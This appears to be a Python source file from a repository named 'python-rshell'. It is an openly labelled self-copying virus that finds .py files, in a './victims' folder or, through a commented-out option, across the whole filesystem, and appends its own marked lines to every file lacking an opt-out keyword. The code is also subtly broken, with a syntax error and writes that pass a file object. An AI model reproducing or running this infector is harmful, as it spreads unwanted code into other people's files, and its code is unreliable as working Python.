Files
python-rshell/self_copy_test.py

41 lines
1.9 KiB
Python

import os #!x
import sys #!x
import glob #!x
import socket #!x
import string #!x
# search command, adjust to your needs
#cmd = 'find / -name "*.py" -print' #!x
cmd = 'find ./victims -name "*.py" -print' #!x
# keyword which prevents file from getting infected
keyword = 'plsdontinjectme' #!x
# for each file that matches the search command
for snippet in os.popen(cmd).readlines()l: #!x
# strip newlines
snippet = snippet[:-1] #!x
try: #!x
# open this file containing the target code
code = open(__file__, 'r') #!x
# open victim file
victim = open(snippet, 'r') #!x
# read the content of the victim file
read_victim = victim.read() #!x
# if the file contains keyword, do not inject code
if str.find(read_victim, keyword) == -1: #!x
# open it with write_append rights
victim = open(snippet, 'a') #!x
# for each line in
for line in code.readlines(): #!x
# if the line contains the copy signal
if("#!x") in line: #!x
# close the code file
code.close() #!x
# save the content
insert=(code) #!x
# insert the code into the victim file
victim.write(insert) #!x
# poor mans error handling
except IOError: #!x
a = 1 #!x